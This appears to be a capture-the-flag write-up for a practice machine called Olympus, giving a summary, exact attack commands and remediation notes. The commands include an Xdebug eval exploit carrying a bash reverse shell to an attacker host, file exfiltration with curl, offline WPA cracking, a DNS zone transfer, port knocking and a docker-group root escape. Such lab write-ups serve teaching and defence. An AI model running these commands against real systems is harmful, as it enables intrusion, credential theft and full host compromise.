Olympus
Summary
I scanned the target and found an Apache/PHP web server whose HTTP response headers advertised Xdebug 2.5.5 — a PHP remote debugger — was active and unauthenticated. A DBGP eval command delivered a reverse shell as the web user inside a Docker container. Filesystem enumeration inside the container recovered a WPA wireless capture file left by a prior airgeddon session, which was exfiltrated and cracked offline to recover the wireless passphrase.
That passphrase had been reused verbatim as the SSH password for user icarus on an alternate SSH listener at port 2222, giving an interactive shell in a second container. A hint file in icarus's home directory named a subdomain; a DNS zone transfer against it leaked a port-knock sequence and credentials for the prometheus account inside a DNS TXT record — credentials that should never appear in public DNS. Performing the knock sequence opened the real SSH port, and prometheus authenticated successfully.
Because prometheus was a member of the docker group — an effective root equivalent — a container was launched with the host's root filesystem bind-mounted, granting unrestricted access to every file on the host, including both flags.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -p- --min-rate 3000 -Pn -T4 $TARGETcurl -i http://$TARGET/FixDisable Xdebug and all PHP debug extensions in productionCritical
Exact commands 3
nc -lnvp 4444python3 xdebug_exploit.py --target-host $TARGET --target-port 80 --lhost <LHOST> --lport 9000 --command 'bash -c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1"'curl -s http://$TARGET/index.php -H 'X-Forwarded-For: <LHOST>'Exact commands 3
find / -name '*.cap' 2>/dev/nullcp /home/zeus/airgeddon/captured/captured.cap /var/www/html/captured.capcurl -o captured.cap http://$TARGET/captured.capFixRemove sensitive credential files from server and container filesystems; enforce unique passwords per serviceHigh
Exact commands 1
aircrack-ng captured.cap -w /usr/share/wordlists/rockyou.txtExact commands 2
sshpass -p "$PASSWORD" ssh -p 2222 -o StrictHostKeyChecking=no icarus@$TARGETcat /home/icarus/help_of_the_gods.txtExact commands 1
dig axfr ctfolympus.htb @$TARGETFixRestrict DNS zone transfers to authorised servers and remove all credentials from DNS recordsCritical
Exact commands 3
knock -d 150 $TARGET 3456 8234 62431sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=8 prometheus@$TARGETidExact commands 2
docker run --rm -v /:/mnt -u 0 olympia sh -c 'id && cat /mnt/home/prometheus/user.txt'docker run --rm -v /:/mnt -u 0 olympia sh -c 'cat /mnt/root/root.txt'FixRemove unprivileged users from the docker group and enforce least-privilege container managementCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 53/tcp | domain |
| 80/tcp | http |
| 53/udp | domain (unknown banner: Bind) |
| 2222/tcp | ssh (protocol 2.0) |
| 22/tcp | ssh |